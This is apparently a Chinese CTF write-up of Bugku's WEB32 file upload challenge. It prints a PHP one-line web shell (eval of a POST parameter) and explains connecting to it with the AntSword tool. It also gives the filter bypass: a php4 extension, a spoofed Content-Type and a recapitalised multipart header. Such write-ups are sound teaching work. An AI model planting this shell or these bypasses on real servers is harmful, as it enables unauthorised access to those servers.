WEB32:文件上传 (一句话木马,以及工具中国蚁剑用法)

先简单说明文件上传漏洞的基本原理:

很简单,就是我们上传的文件是代码文件。上传成功后,我们访问该文件时,该文件将被执行。

所以,前后端肯定会对我们上传的文件作一些限制,不能让你想传啥传啥。

一般后端会通过黑名单,白名单来限制,比如黑名单限制了那种后缀的文件不能被上传,白名单限制只有指定后缀的文件可以被上传。

效果当然是白名单要好一些。黑名单的话,总会被黑客们利用诸如语言特性,比如截断等等,的奇奇怪怪方法绕过黑名单。

一般后端如何判断文件安全与否呢

  1. 报文中的content-type ,但这个字段是可以被篡改的。
  2. 文件大小
  3. 文件名字,但多是通过白名单验证文件后缀。

中国菜刀,中国蚁剑等工具的使用:
以中国蚁剑为例子:

  1. 我们上传了一个php文件,称为一句话木马:<?php eval($_POST['ant']); ?>
  2. 利用中国蚁剑,访问我们上传的代码文件。随后蚁剑将不断访问该文件,并利用ant参数传递一系列可被eval执行的字符串代码。最终实现的效果,是蚁剑为我们呈现了整个网站的文件。

注意:蚁剑建立连接时, url是我们上传的的文件路径,而 连接密码就是,我们一句话代码里的那个post请求的参数,这里是ant
WEB32:文件上传   (一句话木马,以及工具中国蚁剑用法)

具体题目分析

WEB32:文件上传   (一句话木马,以及工具中国蚁剑用法)

这个是bugku的web32,考察文件上传漏洞。

只让上传图片文件,不能上传php文件。

那么如何绕过呢?
这个题似乎有点问题?感觉不看源码做不出来,或许是因为我第一次接触文件上传漏洞。

直接说答案吧。
根据最后结果,查看源代码

<?php
function global_filter(){
	$type =  $_SERVER["CONTENT_TYPE"];
	if (strpos($type,"multipart/form-data") !== False){
		$file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);
		if (stripos($file_ext,"php") !== False){
			die("Invalid File<br />");
		}
	}
}
?>


<?php

global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){
	if ($_FILES["file"]["error"] == 0){
		$file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);
        $allowexts = array('jpg','gif','jpeg','bmp','php4');
        if(!in_array($file_ext,$allowexts)){
            die("give me a image file not a php");
        }
		$_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext;

	    if (file_exists("upload/" . $_FILES["file"]["name"])){
	    	echo $_FILES["file"]["name"] . " already exists. <br />";
	    }
	    else{
	    	if (!file_exists('./upload/')){
	    		mkdir ("./upload/");
                system("chmod 777 /var/www/html/upload");
	    	}
	    	move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
                echo "Upload Success<br>";
                $filepath = "upload/" . $_FILES["file"]["name"];
	      	echo "Stored in: " ."<a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";
	    }
	}
}
else{
	if($_FILES["file"]["size"] > 0){
		echo "You was catched! :) <br />";
	}
}
?>

可以看出,基本就是对conten-type, 文件后缀,大小等进行了限制,不满足要求的不让上传。

另外补充:multipart/form-data : 需要在表单中进行文件上传时,content-type使用该格式。

总之,这题有点迷,根据源代码,可知php4后缀在白名单中,修改Content-type为image/jpg,

另外还有修改另一个Content-type,把multipart/form-data中随便一个或者多个字母大写,但是去掉却不行。。。我曹,为什么?

下图为修改后的HTTP报文,红线为被修改过的地方
WEB32:文件上传   (一句话木马,以及工具中国蚁剑用法)

最终,php文件上传成功。(大概php4后缀等同于php? 有时间查下)

然后利用上边说的中国蚁剑连接我们上传的一句话木马文件,得到整个网站的目录。在网站跟根目录下,找到flag文件

WEB32:文件上传   (一句话木马,以及工具中国蚁剑用法)
WEB32:文件上传   (一句话木马,以及工具中国蚁剑用法)

上一篇:Web视频播放一杆到底


下一篇:upload-labs第五关 pass-05 大小写绕过